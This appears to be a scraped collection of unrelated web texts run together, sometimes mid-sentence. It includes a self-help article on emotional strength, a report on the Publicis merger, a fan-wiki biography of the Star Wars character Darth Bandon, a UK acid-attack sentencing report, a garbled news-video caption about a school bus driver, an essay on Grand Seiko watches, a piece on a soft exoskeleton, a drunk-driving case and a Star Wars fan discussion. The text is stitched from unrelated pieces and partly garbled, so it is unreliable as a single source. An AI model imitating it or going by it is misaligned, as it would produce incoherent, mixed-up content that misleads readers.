Compassion sounds nice, but does it really produce results? Absolutely. And you get bigger benefits if you do it when you are least likely to want to — during an argument.
Via 100 Simple Secrets of Great Relationships:
People who maintain a compassionate spirit during disagreements with their partner, considering not just the virtue of their position but the virtue of their partner, have 34 percent fewer disagreements, and the disagreements last 59 percent less time. – Wu 2001
(To learn how to have more grit — from a Navy SEAL — click here.)
Okay, we've learned a lot. Let's round it up and learn the most important part of being emotionally strong…
Sum up
Here are the five questions from ancient wisdom that will make you emotionally strong:
"Is it useful?" : Most worrying isn't. Make a decision to do something or to let it go.
: Most worrying isn't. Make a decision to do something or to let it go. "Does the world owe me this?" : No. Don't be entitled. Have realistic expectations and you won't get angry.
: No. Don't be entitled. Have realistic expectations and you won't get angry. "Must I have this to live a happy life?" : Probably not. It takes little to make a happy life and there are many ways to get those things.
: Probably not. It takes little to make a happy life and there are many ways to get those things. "Is this who I want to be?" : Act the way you do when you're at your best.
: Act the way you do when you're at your best. "Have I ever felt that way?": Respond to others' problems with compassion and you'll both have fewer problems.
The most important part of emotional strength is not calming your mind. It's being resilient. It's trying again after you've been shaken by negative feelings.
There are plenty of areas of your life where this is critical, but none is more important than your relationships — research shows 70 percent of your happiness comes from relationships.
You will be hurt. You will feel bad at times. That's life. Sorry, there's no avoiding it. So the question is: who is worth it? Who is most meaningful to you?
So when things are hard, have the emotional strength to still give to them and help them and care for them. You now have tools to weather the storm. Earlier I mentioned the biggest regrets that people had when they were dying. Know what #3 was?
I wish I'd had the courage to express my feelings.
So go first. Let someone know how much they mean to you. Who are we most likely to love? Research says it's the people who first show us love.
Recently, I have been lucky enough to have this happen to me. And I can tell you nothing feels better.
Enough reading, time for doing. Right now, have the emotional strength to tell someone important how you feel, to forgive someone, to let someone back into your life, or to reconnect with someone you miss.
Don't wait around for something negative to develop emotional strength. Flex some now and see how happy it can make you.
Related posts:
New Neuroscience Reveals 4 Rituals That Will Make You Happy
New Harvard Research Reveals A Fun Way To Be More Successful
How To Get People To Like You: 7 Ways From An FBI Behavior Expert
Join 250K+ readers. Get a free weekly update via email here.If the merger passes muster with shareholders and government officials, the new conglomerate’s combined revenues, which totaled $22.7 billion last year, would be far greater than the $16 billion in revenues for WPP of London, the current industry leader.
Publicis is considered a French national champion, and French officials have been active during President François Hollande’s tenure about protecting its business icons from foreign dominance. It was not immediately clear what position Mr. Hollande’s government might take on the merger. Calls to Élysée Palace over the weekend were not returned.
At a news conference, Mr. Lévy said the companies informed the French government of their plans on Saturday and had received “tremendous support” from officials. “We are not owned by the French government,” Mr. Lévy said, “yet we are one of the iconic companies in France.”
He said that the combined companies wanted a neutral third country as the place to register the new holding company. They ruled out Ireland and Luxembourg, Mr. Lévy said, to avoid the appearance that they were seeking a tax haven. They chose the Netherlands — which at 25 percent has a nominal corporate income tax rate that is higher than Ireland’s, but below the 33.33 percent rate in France and the 40 percent rate in the United States, according to the global accounting firm KPMG. Mr. Lévy said the companies would keep their headquarters in both Paris and New York to avoid the impression that Publicis would be “swallowed” by an American company — something that he said would not be accepted in France.
In a statement, Mr. Lévy cited technological advancements in advertising and the rise of so-called Big Data — the ability to amass larger volumes of consumer information and make money from it in various ways — as reasons for the merger."I have studied at the foot of the Dark Lord himself!" ―Darth Bandon, to Revan [src]
Darth Bandon was a Human male Jedi Padawan who defected to the Sith Empire during the Jedi Civil War, a conflict initiated by the Sith Lords Darth Revan and Darth Malak. Sometime after Malak betrayed his Master, Revan, during an ambush by the Jedi and Republic forces attempting to capture them, Bandon became the new Dark Lord's first Shadow Hand, elevating him to second-in-command of the Sith Empire. When the Sith attacked the Republic warship Endar Spire above the planet Taris, Bandon boarded the ship along with the Sith troopers and Dark Jedi under his command and tried to capture the Jedi Knight Bastila Shan. He killed the Republic ensign Trask Ulgo, who sacrificed himself to save the former Sith Lord Revan, who had been mentally reprogrammed to be loyal to the Republic and to serve as a common soldier by the Jedi Council.
Shortly after the destruction of Taris, the bounty hunter Calo Nord was hired by Malak to follow in pursuit of Shan, who escaped the bombardment with the help of Revan and his companions. After Nord was slain by Revan, Malak dispatched Bandon to find and capture the Jedi. Bandon located Revan in Manaan's underwater kolto harvesting base known as Hrakert Station, on the Selkath homeworld Manaan. The Sith apprentice confronted Revan and his allies after they found a fourth Star Map that would give them the location of the Star Forge—the ancient Rakatan space station under Malak's control. Bandon underestimated the former Dark Lord and his companions, assuming that they would be no match for him. This proved to be his downfall, as Revan and his team vanquished Malak's Shadow Hand, along with the two Dark Jedi accompanying him. After his death, Bandon's head was severed from his body and preserved by the Sith. Three hundred years later, it had eventually been put on display in the House Alde Royal Museum on Alderaan.
Contents show]
Biography Edit
Early life Edit
The Human male who would be known as Darth Bandon was a Jedi Padawan, though he never fully accepted the teachings of the Jedi Code. Even though the Force flowed through him, Bandon's powerful emotions, such as anger and hatred, raged within and fueled his strength.[3] His Jedi Master tried to curb these strong emotions, but the brash Padawan chafed under his Master's guidance.[1]
In the year 3959 BBY, the former Jedi Knights Revan and Malak, the heroes of the Mandalorian Wars, found the ancient space station known as the Star Forge—a relic of the Rakatan Infinite Empire that had ruled the galaxy nearly 20,000 years before—and named themselves the new Dark Lords of the Sith.[1] Revan and Malak declared war on the Jedi Council[4] and the Galactic Republic, initiating the Jedi Civil War. Bandon rejected his old Master and the Jedi Order, fleeing to the revitalized academy on the ancient Sith homeworld of Korriban.[3]
Jedi Civil War Edit
As a student in the new Korriban academy, Bandon fully embraced the teachings of the dark side and the Sith Code. This—along with Bandon's strength with the Force, his natural cruelty, and his utter ruthlessness in his quest for power—soon set Bandon apart from his fellow students and brought the attention of Darth Malak, Revan's Sith apprentice.[3] Bandon eventually won Malak's admiration.[1][5] Two years into the Jedi Civil War,[1] the Jedi and Republic forces set a trap for Revan and Malak in an attempt to capture both Sith Lords.[6][7] During the battle, Malak betrayed his Sith Master by ordering his flagship Leviathan to open fire on Revan's vessel. After Malak thought he successfully eliminated Revan, he seized his former Master's mantle of Dark Lord of the Sith.[2]
In the tradition of the Sith Order, Malak sought a single learner among his followers to become his official apprentice, someone that could learn the Sith secrets and use them to effectively destroy the Jedi and the Republic.[8] Malak took the promising Bandon as his Shadow Hand, which made him second only to his Master in the Sith Empire.[1] The Dark Lord taught much of his knowledge of the Sith to Bandon. Malak was not disappointed with his choice of taking Bandon as his apprentice, because Bandon killed many Jedi during the war. In a short time, rumors began to surface that Bandon would challenge Malak for the right to rule the Sith;[3] Bandon eventually began to set his sights on his Sith Master's throne.[1]
Raiding the Endar Spire Edit
"Damn–another Dark Jedi! I'll try to hold him off, you get to the escape pods! Go!" ―Trask Ulgo sacrifices himself against Bandon [src]
In the year 3956 BBY,[1] Darth Malak was searching for a Jedi Knight named Bastila Shan, fearing her strength in Battle meditation, a Force power that boosted the Republic forces' morale during battle while sapping the Sith's will to fight. When Malak learned of Shan's location aboard the Republic warship Endar Spire, he sent a Sith battle fleet to ambush the ship. Above the planet Taris, Bandon led the boarding party that stormed the Endar Spire, in an attempt to capture or kill Shan.[2] An amnesiac Revan—who had been rescued by Shan after Malak betrayed him and later mind-wiped by the Jedi Council—was placed under Shan's command as a common Republic soldier.[9][10] Bandon confronted Revan and the Republic ensign Trask Ulgo during their attempt to reach the ship's escape pods, also hoping to ensure that Shan fled the ship alive.[2]
Bandon was given a chance to kill both Republic soldiers. However, before he could do so, Ulgo made a desperate charge, sacrificing himself so that Revan could get to the escape pods and flee the ship with the Republic commander Carth Onasi. After Bandon killed Ulgo, he departed the Endar Spire before Sith interceptors destroyed the ship. Shan had successfully fled the ship aboard one of the escape pods and crash-landed on Taris. Revan and Onasi also crashed onto the Tarisian surface. In response, Malak captured Taris and ordered a blockade of the planet so that the Sith could search for Bastila Shan.[2]
Search for Bastila Shan and downfall Edit
"My apprentice, Darth Bandon, shall take care of our young Jedi friend. […] Find Bastila and bring her to me. Alive if possible."
"As you command, Master." ―Darth Malak and Darth Bandon [src]
After Malak ordered the destruction of Taris in an attempt to kill Bastila Shan, Malak was informed by the bounty hunter Calo Nord, who survived Taris' destruction, that Shan had successfully escaped Taris; although, Nord was unaware that it was Revan, Malak's former Master, who assisted in her escape. Malak hired the bounty hunter to find and capture Shan, however, Nord was killed by Revan during the Jedi's search for the Star Forge. The Sith Admiral Saul Karath informed Malak of Nord's failure on Malak's flagship Leviathan, and asked if he should hire another bounty hunter to send after Shan. The Dark Lord determined, however, that no mere bounty hunter could stand against a Jedi. Bandon was summoned to the ship's bridge immediately; when Bandon arrived on the bridge, he killed a Sith trooper that walked in his way. Malak sent Bandon after Revan, Shan, and their companions, and Malak ordered his apprentice to bring Shan to him alive, if possible.[2]
Bandon located Revan at the Republic's kolto harvesting base known as Hrakert Station, which was named for the Hrakert Rift in which the base was located, on the Selkath homeworld Manaan.[2] The Shadow Hand confronted Revan and his allies in the station after Revan located a fourth Rakatan Star Map, which was necessary to learn the location the Star Forge. Accompanied by two Dark Jedi,[1] he presumed that Revan and his team would be no match for him. He expressed his fear that someone else had killed Revan, thereby depriving him the "pleasure" of slaying Revan. When Bandon was asked by Revan how he managed to make it to Hrakert Station, the Sith Lord replied he acquired an underwater vessel and used the same route that Darth Revan and Darth Malak used underwater, leading him to the station. Bandon also told Revan that he was no match for the Sith apprentice, although Revan had defeated Calo Nord, whom Bandon thought was pathetic. Revan recognized Bandon, stating that he would pay for killing Trask Ulgo. The Sith Lord told Revan that his words meant nothing to him, unless he wished to beg for his life, and added that he would try to make Revan's death both quick and painful. Bandon and his Dark Jedi then engaged Revan and his companions in a duel. Despite Bandon's skill, he and the two Dark Jedi assisting him were killed by Revan and his allies.[2]
Assumption ends here.
Legacy Edit
"When Darth Bandon ultimately fell in battle, Sith acolytes preserved and enshrined his head. Despicable people." ―Peema Ahuff Listen (file info) [src]
After Bandon fell in battle and Revan's party left the scene, his remains were retrieved by a group of Sith acolytes who preserved his head through Sith alchemy. Some time after Malak's death and the Sith Empire's collapse, the acolytes found themselves lacking leadership, and began to believe they could use the preserved head to communicate with Bandon's spirit. The acolytes eventually embarked on a misguided attempt to reattach the head to a new body, attracting the attention of the Jedi, who put an end to this cult. However, no trace of the head was found.[11]
Somehow the head ended up in the possession of Risha Drayen during the Cold War, and she used it during her quest to locate the treasure of her father, Nok Drayen. Peema Ahuff, curator of the House Alde Royal Museum, wished to acquire the head and place it on display to honor Alderaanian hero Trask Ulgo, who died in combat against the Sith Lord. Ahuff was was willing to trade a hyperdrive engine for it, which Risha and her smuggler cohort needed, so the smuggler went to make the trade and learned that the gangster Skavak had traded a fake head and absconded with the hyperdrive. The smuggler pursued Skavak's agents and retrieved the hyperdrive,[12] then gave the real head to the museum, where it was put on display.[13] At some point after Bandon's death, his double-bladed lightsaber also came into the possession of the resurgent Sith Empire, and was available for purchase by a well-trained Force-sensitive agent.[14]
Bandon's role in the Jedi Civil War was remembered for millennia to come, though not always with perfect accuracy. According to an entry on the Jedi Civil War from the Twi'lek Jedi Deesra Luur Jada's holocron, when Revan and Bastila Shan were captured by the Leviathan, Bandon was killed after Revan managed to escape.[10] In 40 ABY, the investigatory agent Gannod Chant, who worked for the Council on Security and Intelligence, translated a manuscript written by suspected Sith sympathizer Ingo Wavlud. Wavlud's manuscript, however, stated that Bandon died in the year 3951 BBY along with Darth Traya, Darth Sion, and Darth Nihilus.[15]
Personality and traits Edit
"You may have defeated the pathetic bounty hunter my Master sent after you, but you are no match for me!" ―Darth Bandon, to Revan [src]
During his time as a Sith, the Human male known as Darth Bandon was known for his ruthless behavior.[3] He was willing to take the lives of people and damage equipment to enforce his position, even for a perceived transgression as minor as walking in his way.[16] He was also focused on the destruction of the Republic, and the slaughter and extinction of the Jedi Order.[8] Bandon thought that his skills were more than adequate to defeat Revan and his companions, telling the former Dark Lord that he was no match for him.[2]
Some in the Sith hierarchy felt that Bandon would eventually rise to challenge Malak for his mantle of Dark Lord, because of the Sith belief that the strongest must rule; and, it was also believed, that when the apprentice surpassed in ability the Master, the Master must fall.[3] As time went by, Bandon grew arrogant, and he began plotting to overthrow Malak.[1]
Powers and abilities Edit
Darth Bandon spoke and comprehended Basic and Sith. Bandon was proficient in the use of his double-bladed lightsaber, killing many of his former Jedi brethren.[1] He also displayed his proficiency in using a single lightsaber when he dueled the Cathar Jedi Juhani.[17] Before Bandon fought Revan, he had yet to meet his equal in combat.[8]
Because of his strength in the Force,[18] Bandon was capable of using many Force powers. He could use the Force to push his opponents to the ground and could use it to alter the air currents around his opponent, turning it into a maelstrom. This swirling vortex of Force energy would lift an opponent into the air, spin them around, and completely immobilize them. Bandon was also able to use the Force to render himself virtually invulnerable to most offensive Force powers for a limited time, demonstrating this against Revan.[2] Bandon's strength with the dark side of the Force enabled him to use dark-sided powers such as Force lightning, and he also used the dark side to tap into his rage and direct it against his opponents.[1] He could use the Force to instill fear in his opponents, driving them temporarily insane. Bandon was capable of using the dark side to drain his enemies' life-forces, and to strangle his opponents. He could also use it to debilitate his victims, having it work as a fast-acting toxin.[2]
After Bandon joined the Sith ranks, he constructed a double-bladed lightsaber containing a red crystal. His lightsaber resembled the one used by the Sith Lord Exar Kun,[1] who initiated the Great Sith War forty years before the end of the Jedi Civil War.[19] Bandon also wore a customized set of light fiber armor which he fitted to his robes.[2]
Behind the scenes Edit
Darth Bandon was created by the developers at BioWare as a villain for the 2003 Xbox and PC video game Star Wars: Knights of the Old Republic.[3] He was voiced by Neil Kaplan.[20] Bandon's name was derived from the word "abandon."[21] In the article "The 100 Greatest Things About Star Wars... Ever!", which was published in Star Wars Insider 100, Bandon came in the twenty-second place, beating his Sith Master Darth Malak, who came in at twenty-third place.[18] A picture of Darth Bandon in the Knights of the Old Republic Campaign Guide depicts him dueling the female Cathar Jedi Juhani.[17] When Abel G. Peña, who was one of the authors of the campaign guide, was asked on his official thread on the StarWars.com Message Boards whether or not Juhani was present when Darth Bandon confronted Revan, Peña stated that it was "up in the air for the moment".[22] Darth Bandon was featured as a miniature in the Jedi Academy wave of Star Wars Miniatures, released on June 30, 2009. However, his figure was listed as "Sith Apprentice".[23] Bandon received an entry in The Complete Star Wars Encyclopedia.[5]
Darth Bandon is referred to as a Sith Lord in the section detailing the Sith Order in the Knights of the Old Republic Campaign Guide. However, both his entries in the campaign guide[1] and the Databank[3] refer to him as a Sith apprentice. The guide Jedi vs. Sith: The Essential Guide to the Force states that Revan killed Darth Bandon after escaping the Leviathan.[10] However, Bandon was defeated by Revan after he found the fourth Star Map, shortly before Revan and the crew of the Ebon Hawk were captured by the Leviathan.[2] The guide also states that Bandon died in the year 3951 BBY, along with Darth Traya, Darth Sion, and Darth Nihilus.[15] However, Bandon was killed by Revan five years before in 3956 BBY.[1]
The planet on which Revan battles Bandon is determined by the order in which the Star Maps, which lead to the location of the Star Forge, are obtained. Bandon appears on the planet where the fourth Star Map of the journey is found. If Revan has already found three Star Maps, and for any reason returns to the site of one of the previous ones, Bandon will confront Revan. Bandon is accompanied by two hooded Dark Jedi on Manaan or the desert world Tatooine. If Revan encountered Bandon on the Wookiee homeworld of Kashyyyk, he is accompanied by two Dark Jedi wearing armor. On Korriban, Bandon is accompanied by two students from the Sith Academy,[2] the place where he was trained.[3]
Appearances Edit
Sources Edit
Darth Bandon. Wookieepedia has 7 images related to
Notes and references EditKaha Miah was sentenced to nine years' detention for the attack.
Kaha Miah was sentenced to nine years' detention for the attack.
This article contains a graphic image of one of the victim’s injuries.
TWO PEOPLE WHO were accused of throwing acid into the faces of two men outside a grocery store in the UK have been jailed for a total of 15 years.
Kaha Miah, 20, of Odessa Road, Forest Gate admitted two counts of applying a corrosive fluid with intent. He was sentenced at Snaresbrook Crown Court today to nine years’ detention in a Young Offenders’ Institution for each count, to run concurrently.
A 16-year-old boy, from Newham, was convicted after a trial in October of two counts of applying a corrosive fluid with intent and having an offensive weapon. He was given six years’ detention in a Young Offenders’ Institution for each count, to run concurrently.
The court heard that on 20 March the two victims were staying at Neutron Towers on Blackwall Way with friends. From their window, they observed a group of youths jumping and kicking the cars outside, including their own.
The two men confronted the group of youths directly outside of the entrance to the Nisa Supermarket on Virgina Quay where a very brief conversation took place between the two victims and a number of the youths.
The 16-year-old took a bottle out of his bag, unscrewed the top and passed it to Miah. Miah unscrewed the bottle further and threw the contents into the faces of the two victims.
The first victim suffered burns to his face and shoulder. The acid was so strong that it melted his top.
The second victim was hit in the eye, causing him to lose 20% of his vision as well as leaving severe facial burns.
The victims of this acid attack have been scarred for life. Source: Met Police
The victims immediately fled the scene. Unable to gain access to their building and suffering from increasingly painful burns, they were found by patrolling officers who administered first aid.
The two victims have life-changing injuries as a result of significant scarring and continue to suffer psychological distress as a result. The 16-year-old was arrested on the day of the assault.
Miah at a later date presented himself at Bethnal Green police station following arrest enquiries at his home address.
“Whilst this sentence provides a degree of justice for the victims and reflects how seriously the police and courts view the possession of noxious substances, I am acutely aware of the devastating impact that attacks of this nature have upon victims,” commented Detective Sergeant Richard Lewsley today.
“The sentence received reinforces the police view that any incident of this nature, or any possession of these type of substances will be investigated thoroughly. I would urge anyone carrying or considering carrying a noxious substance to reflect upon the sentence received today.
“These substances can, and unfortunately are, used in the commission of crimes which have a huge and lasting impact on victims.”Bus driver keeps his cool after 5th-grade student threatens to punch him Superintendent says driver did everything right Share Shares Copy Link Copy
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WEBVTT PAUL:rt THIS IS THE VIDEO.THEY SHARED IT WITH US.WE HAVE BLURRED THE FACErt ANDTAKEN UP A CURSE WORDS.THE DISTRICT SAYS THIS DRIVERrtDID EVERYTHING RIGHT.THIS SERIOUS INCIDENT WITH A 5THGRADER COULD HAVE BEEN WORSE IFNOT FOR THE DRIVER.THE CAMERA SHOWS IT.THE STUDENT WANTED TO BE FIRSTrtOFF THE BUS, NOT LET OUT ON THEROUTE.THAT IS WHERE THE SUPERINTENDENTSAYS HE GOT MAD THE DRIVER TOLDHIM TO LEAVE THE BUS BUT HE WON'rtT.>> HE TRIED TO DO EVERYTHING HEWAS CUT TO DO.PAUL:rt -- >> THE TRAINING KICKED IN, WEHAVE A GREAT STAFF OF BUSrtDRIVERS AND MISTER MULANAX IS APRO, TAKES HIS JOB VERYSERIOUSLY AND HAS A HEART FORKIDS.PAUL: EL RENO'S SUPERINTENDENTSAYS THIS IS THE REASON THESEDRIVERS DESERVE MORE MONEY, ANDrtMORE RESPECT.THIS INCIDENT WAS BROUGHT TO HISATTENTION THIS MORNING AND THESUPERINTENDENT WANTED TO SHARETHE STORY.HE SAYS IT'S AN EXAMPLE OF HOWSCHOOL EMPLOYEES MAKE ADIFFERENCE EVERY DAY.>> THAT CHILD WAS DEFIrtNITELY INNEED RIGHT THERE.YOU COULD TELL THERE WASSOMETHING BOTHERING HIM AND SOWE'RE GOING TO GET THAT FIXEDrtWITH THE PARENTS AND THE CHILDTO SEE IF WE CAN MOVE THAT TO AMORE POSITIVE PLACE.PAUL:rt HE SAW THAT FIRST BEINGDRAWN.YOU KNOW SOMETHING WAS WRONG.THE DRIVER BEING CREDITED WITHCOMPLETELY KEEPING HIS COOL.rtTHE SUPERINTENDENT SAYS THEIMPORTANT THING IS THAT HE WANTS |
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Japan’s long-standing economic recession has still not fatally wounded the country’s watch market. Luxury watches are among the indulgences the people both permit and embrace – and for men and women both. Japan remains one of the strongest markets in the world for luxury watches – and consumer involvement and education is through the roof. This is where people buying a pre-owned watch will inspect it with a magnifying glass at the time of purchase and fear no funny looks from the staff.
As I mentioned above, Japan consumes both foreign and domestic watches in high volumes. Swiss watches still go for a lot more money, but don’t forget the big three Japanese watch makers Citizen, Casio, and Seiko all still have thriving businesses in Japan of products that are only sold domestically. Japanese mainstream tastes for watches are perhaps a bit different than people in other parts of the world. At their core, what most Japanese watch consumers want in a product is a watch that performs very well, is extremely low-maintenance, and will look new for a long time. That means features such as glossy scratch-resistant coatings and atomic clock radio-controlled quartz watches resonate so well with consumers.
Japan’s high-end watch industry, when it comes to mechanical watches, is purely for the collector, as it is in other parts of the world. An executive in Japan is dually rewarded for getting a quartz movement-based Grand Seiko. It is a top-tier timepiece product with impeccable movement accuracy and performance, and is both a domestic product (shows national pride) but is also not too excessively priced (shows fiscal prudence – a rather valued trait). Those who enter the world of mechanical watches do so out of a deeper appreciation or are those that have the social status to show off a decadent lifestyle.
The watch industry itself in Japan has always looked to Europe with deep respect, but also keen attention. It would be incorrect to say that the Japanese watch industry was not deeply inspired by that of Europe. It is, and especially at the top-end with brands like Grand Seiko. With that said, they emulate European concepts in design and production up until they can evolve and adapt them. The luxury Japanese watch will never be quite like the luxury European watch because the two cultures have slightly differing values. Europeans like the distinct feel of hand craftsmanship, while Japanese tastes reward the craftsman so skilled that his product looks like it is perfect.
Prideful of their own work, and justifiably so, the people who make Grand Seiko watches are quietly spiteful of how Europe has treated their watch industry by often not giving it due credit out of bruised egos and because of stereotyped snobbery. Especially at Grand Seiko, the “Meister” watchmakers have long yearned for European acceptance and a welcome to the watchmaking table. Perhaps it is because Japan continues to seek out such acceptance from Europe that they suffer over not getting it. They give too much power to the continent that the country has acknowledged they are arguably too influenced by since the time of Commodore Matthew Perry (who, ironically, was there on behalf of America).
Maybe I’m guessing too liberally, but I ask myself often why it seems like despite a huge amount of independent character and talent, Japan’s watch industry still sees total acceptance as being accepted by the Europeans on the same level, on their turf. Which brings me back the current watch (that I just went off topic on for about 1,000 words) which is Seiko’s best attempt ever at making the coolest-looking Japanese-European timepiece.
Watches in platinum in Japan are rare. This watch is 43mm wide and in platinum. Not just any platinum, but a special alloy developed so that it could be finished for a pristine polish using Seiko’s noted “zaratsu technique.” This also leads to handling scratches better which a softer metal like platinum needs. This is enough platinum for almost two of any other size of dressy Grand Seiko watch.ReWalk has been talking up its upcoming “soft exoskeleton” since January. The Boston-based company finally took the system out for a spin in the daylight, showing what it’s capable of at a robotics event held on the MIT campus this weekend. The version on display is still a prototype, but all of the functionality is in place, using a motorized pulley system to bring mobility to legs impacted by stroke.
The device, now known as the Restore soft-suit, relies on a motor built into a waistband that controls a pair of cables that operate similarly to bicycle brakes, lifting a footplate in the shoe and moving the whole leg in the process. The unaffected leg, meanwhile, has sensors that measure the wearer’s gait while walking, syncing up the two legs’ movement. An able-bodied representative from Harvard was on-hand at the event, demonstrating how the system automatically adjusts when walking at different speeds.
Harvard is behind the Restore’s design, with the school’s Wyss Institute for Biologically Inspired Engineering developed the underlying technology here. The prototype on display this week, however, is the result of a partnership between ReWalk and the Institute, which is designed to commercialize technologies created at the school by teaming with companies that know how to navigate product launches, sales and regulatory bodies like the FCC.
ReWalk CEO Larry Jasinski tells TechCrunch that while industry-funded research isn’t entirely uncommon in the academic world, Harvard has been seeking more impactful ways to bring the benefits of their research to a real-world setting. “They were willing to structure something in a way that could work for both parties,” he explains. “I think that’s because, while this is technically at Harvard, but it’s at the Wyss Institute. They’re trying to develop the institute as something that has more of an application mindset. We are a bit of an experiment, as part of their attempted business model.”
As part of the deal, ReWalk, best known for its robotic exosuit designed for people with spinal injuries, helps fund Harvard’s research. Once completed, the company pays to license the patents indefinitely for its products, and Harvard also gets a percentage of sales of the product if/when it finally comes to market. How long that takes depends on a number of factors like FCC approval. Jasinski expects the final version of Restore — which will look a lot cleaner than the Borg-like device on display — will be available in the U.S. before the end of next year.
Restore is one of many projects the lab is looking into using the same underlying technology. There could also be implications for MS, ALS and Parkinson’s patients. The Wyss team also displayed a version of the technology at TC Sessions: Robotics this week designed to help soldiers carry additional payloads of 15 to 20 percent.Spread the love
Linwood, NJ — A police officer who killed two people in a drunken crash while he was driving the wrong way down the road is now claiming that he is not to blame for the accident because he suspects that he was drugged by strippers. However, it was documented that at the time of the accident the officer had a blood alcohol level of three times the legal limit.
The off-duty officer who was driving the car had posted a photo on his Instagram hours earlier of three shot glasses full of alcohol. In his Instagram post, Officer Pedro Abad identifies the drinks in the photos as “Jack Daniels Fire.” He was at a strip club with a number of other police officers for several hours until they eventually left in a car together and crashed into a tractor trailer going the wrong way down a one-way street.
Yet Abad is still denying personal responsibility, saying that strippers at the club he was at drugged him with GHB so he would spend more of his money.
Mario Gallucci, the lawyer for Pedro Abad, suggested in court this Thursday that “an expert found some medical evidence that could be interpreted to mean Mr. Abad was drugged with GHB.”
The medical evidence that Gallacci is talking about was not mentioned, but it could be something as simple as the fact that Abad was intoxicated, something that he had obviously brought on himself. Gallucci has not even looked at the blood tests yet, which he requested from the prosecution in court this week.
28-year-old Officer Frank Viggiano died in the crash along with a 28-year-old Linden resident Joe Rodriguez.
Abad is being charged with aggravated vehicular homicide and manslaughter and is scheduled to appear in court again on December 8th.
Abad has been arrested for drunk driving on two previous occasions, once in 2011 and again in 2013. According to public records, he has been involved in a total of eight automobile accidents.
John Vibes is an author, researcher and investigative journalist who takes a special interest in the counter-culture and the drug war. In addition to his writing and activist work, he organizes a number of large events including the Free Your Mind Conference, which features top caliber speakers and whistle-blowers from all over the world. You can contact him and stay connected to his work at his Facebook page. You can find his 65 chapter Book entitled “Alchemy of the Timeless Renaissance” at bookpatch.com.We’ve all done it. As fans of Star Wars, at some point in your life you’ve probably had a conversation like this. You are sitting around with a few of your friends talking about some minor aspect of one of the films and before you know it you’ve gone down the rabbit hole into a multi-hour philosophical debate over the minutiae that only us intense fans care about. You ramble, you change topics, you make some great points, and some not so great points, and then you look back and say, “what the hell just happened to the last few hours of my life?”
Well that is exactly what happened in a conversation between some of our staff members last week. A seemingly simple question turns into a long, in-depth, conversation about the nature of the force and ends with many open ended questions that could continue the conversation on indefinitely. So, in this slow news season as we await the return of Rebels and the release of Rogue One, we thought we’d share it with you so you could continue that conversation. Maybe you are bored of being stuck inside waiting for the summer heat to fade. Maybe you are desperate for any Star Wars content during the slow approach to the upcoming releases. Or, maybe you just like a good old fashioned Star Wars discussion.
If any of those describe you, take a read below and continue the conversation in the comments. As a word of warning, just like any conversation in this vein, it is long, it is rambling, and not always as coherent as it seemed in the moment, but it is real. There is no news here, no super secret spoilers slip out, and no new information is divulged, so if it is not your thing feel free to skip on past this one, but for those of you who may be looking to take a deep dive into the murky depths of Star Wars fandom, have a read and continue on in the comments.
Trevor:
Just a question for the staff here;
Does anyone think that we’ll get to see a “Force Ghost Anakin” in this trilogy?
Hard Case:
I’d put money on Yoda showing up. Anakin is more likely than Obi-Wan I think, but I’m skeptical on the likelihood that either of them will make an appearance due to Guinness being dead and Christensen having taken somewhat of a hiatus from acting.
Viral Hide:
What hiatus?
Hayden Christensen Joining Bruce Willis in ‘First Kill’ (Exclusive)
Rebo:
My thoughts after I saw this news yesterday is that there are three main possibilities here. The story about Hayden is very reminiscent of Mark Hamill taking the roles in Kingsman and The Flash pre-ST. Sort of a combination of knocking the rust off after a long hiatus and proving to Lucasfilm that he still has a bit of gas left in the tank and not to worry. Whether that is true or not, I guess we’ll see in VIII since he didn’t really have anything to do in VII.
I think the most likely scenario is that his agent, after getting laughed out of the casting room over at Lucasfilm when saying “hey, why isn’t my guy playing Vader in RO?” pressured Hayden to get some work on his resume so that can get some of this money Disney is going to be printing because of Star Wars over the next few years. They know there will be countless opportunities to do some work here, be they in movies, TV, voiceover, etc…so that agent has to be extremely frustrated owning the man behind one of the most iconic characters in the franchise, but who’s role in said franchise has been poisoned by criticism and his client’s subsequent retreat from Hollywood.
Alternatively, it could be that Lucasfilm needs him for IX and asked him to go rev up the engines elsewhere. I’m sure Disney would not prefer actors coming in cold like that, especially with so much money riding on it and Hayden’s past critical reception in the role.
Lastly, and I think least likely is, Hayden already filmed a cameo for VIII, and this is his agent trying to fan the flames in advance of VIII stoking the last dying ember of Hayden’s career. This may be his one chance to jump back in with a small, and hopefully quality, performance in the biggest movie of 2017.
DEKKA129:
Count me among those cranky old bastards who want Anakin and Hayden kept as far away from the sequel trilogy as possible.
IMHO, Lucas permanently screwed up that character by portraying him as a bitchy, foot-stamping boy-band refugee who was easier to con than a little old lady with a televangelist obsession. I’ve seen more than enough of him to last me six lifetimes and then some. Last thing I want is to see him d*uche-ing it up all over Episode VIII or IX, even as a ghost.
Truth be told, the whole notion of Force ghosts persisting for over 30 years strikes me as a bit odd to begin with. Seemed to me that Obi Wan’s, Yoda’s and Anakin’s task was done at the end of ROTJ, and I always thought that Tim Zahn got it exactly right in Heir to the Empire when he had Obi Wan’s ghost fade away once and for all after a decade or so.
But even if there is a Force ghost presence in Episode VIII, it makes far more sense for it to be Yoda. The impression I got of Kylo Ren’s “communing” with his grandfather in TFA was one of a deluded and rather disturbed young man gazing at the melted helmet of his grandfather and “hearing” what he wanted to hear from a spirit that existed entirely in his imagination.
Given that Kylo Ren is convinced that the spirit of his grandfather was showing him the ways of the dark side, the alternative would be that Anakin never really turned back from the dark side, which would make absolutely everything about Luke’s OT journey completely and utterly pointless.
So not only do I hope not to see Anakin in the ST due to my own personal preferences, but I also hope we don’t see him there for purely story-related reasons.
Yoda, I could live with. Anakin, not so much.
Hard Case:
I totally see your point and get where you are coming from with the example of how Zahn handled the Force ghosts. However, I feel that the line from Yoda about an old friend discovering the “path to immortality” in ROTS kind of negates the idea that a Force ghost would fade away over time. The word immortality carries with it a sense of the eternal. But I understand as a fan not wanting to see Hayden pop up in the ST. I’m just saying that with the established canon and continuity it is entirely possible.
DEKKA129:
Well, there is that. However, also bear in mind that Qui Gon himself was apparently unable to appear directly to Yoda or Obi Wan. Yoda had to teach Obi Wan how to reach out and commune with Qui Gon. So what also appears to be canon is that the “immortality” of retaining one’s identity after death does not necessarily mean that one will always have the ability to manifest themselves before the living.
In Anakin’s case, there’s also the added wrinkle that since he did not know of the techniques that Qui Gon taught Obi Wan and Yoda, it stands to reason that Obi Wan and Yoda must have actively helped Anakin to retain his identity after death, rather than Anakin doing it himself. So, working on his own, is he going to have as solid a hold on that conduit between life and death that Obi Wan and Yoda have? Doubtful.
